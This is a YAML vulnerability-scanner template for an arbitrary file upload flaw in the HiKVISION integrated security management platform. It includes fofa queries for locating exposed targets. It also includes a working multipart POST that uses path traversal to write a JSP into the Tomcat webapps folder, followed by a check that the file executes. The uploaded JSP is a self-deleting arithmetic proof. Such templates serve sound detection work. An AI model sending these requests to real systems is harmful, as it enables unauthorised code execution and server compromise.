hikvision-anfang-report-fileupload-2: HiKVISION 综合安防管理平台 report 任意文件上传

id: hikvision-anfang-report-fileupload-2

info:
  name: HiKVISION 综合安防管理平台 report 任意文件上传
  author: Observer
  severity: critical
  verified: true
  description: |
    HiKVISION 综合安防管理平台 report接口存在任意文件上传漏洞，攻击者通过构造特殊的请求包可以上传任意文件，获取服务器权限
    fofa: app="HIKVISION-综合安防管理平台"
    fofa: title="综合安防管理平台"
  tags: hikvision,fileupload
  created: 2023/10/10

set:
  randstr: randomLowercase(10)
  r2: randomInt(40000, 44800)
  r3: randomInt(40000, 44800)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /svm/api/external/report
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"../../../tomcat85linux64.1/webapps/els/static/{{randstr}}.jsp\"\r\n\
        Content-Type: application/zip\r\n\
        \r\n\
        <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /els/static/{{randstr}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))
expression: r0() && r1()

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